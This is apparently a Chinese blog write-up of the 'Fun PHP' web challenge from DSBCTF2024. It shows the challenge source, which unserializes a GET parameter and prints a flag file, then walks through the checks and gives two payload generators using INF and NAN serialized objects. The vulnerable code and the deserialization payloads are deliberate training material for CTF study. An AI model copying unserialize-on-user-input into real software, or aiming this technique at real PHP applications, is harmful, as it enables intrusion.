DSBCTF2024

Web

好玩的PHP

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfshow {
private $d = '';
private $s = '';
private $b = '';
private $ctf = '';

public function __destruct() {
$this->d = (string)$this->d;
$this->s = (string)$this->s;
$this->b = (string)$this->b;

if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) {
$dsb = $this->d.$this->s.$this->b;

if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) {
if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {
if (md5($dsb) === md5($this->ctf)) {
echo file_get_contents("/flag.txt");
}
}
}
}
}
}

unserialize($_GET["dsbctf"]);

审计源码,发现在ctfshow类中只有魔术方法__destruct(),由于该方法在PHP程序执行结束后自动调用,因此只需要构造合适的payload满足__destruct()中的条件即可拿到flag。
ctfshow类中一共有4个变量,其中前三个变量$d、$s、$b会被强制转成字符串类型,并且这三个变量的值互不相等,满足这一条件后会将三个变量拼接起来,得到一个新的字符串变量$dsb,进入第二个if判断。
在第二个if判断中,需要满足变量$dsb和$ctf的长度都不超过3,满足条件后进入第三个if判断。
在第三个if判断中,需要满足变量$dsb和$ctf的值不相等,并且比较类型为强类型,因此无法通过弱类型绕过,满足条件后进入最后一个if判断。
在最后一个if判断中,需要满足变量$dsb和$ctf的md5值相同,满足条件后拿到flag。
基于上述的条件,可以用PHP中的特殊浮点数常量NAN和INF来构造payload,因为将这两个常量转成字符串类型之后的MD5值与原先的浮点类型MD5值相等,又由于类型不相等、长度均为3,所以可以满足最后三个if判断。由于在第一个判断条件要求变量$dsb的三个字符不相等,因此只能取INF来构造payload

1
2
3
4
5
6
7
8
9
10
11
<?php
class ctfshow {
private $d = 'I';
private $s = 'N';
private $b = 'F';
private $ctf = INF;
}

$dsbctf = new ctfshow();

echo urlencode(serialize($dsbctf));

如下图

我们也可以

1
2
3
4
5
6
7
8
9
10
11
<?php
class ctfshow {
private $d = 'N';
private $s = 'AN';
private $b = '';
private $ctf = NAN;
}

$dsbctf = new ctfshow();

echo urlencode(serialize($dsbctf));

迷雾重重


DSBCTF2024
http://example.com/2024/11/24/CTFshow_DSBCTF2024/
作者
奇怪的奇怪
发布于
2024年11月24日
许可协议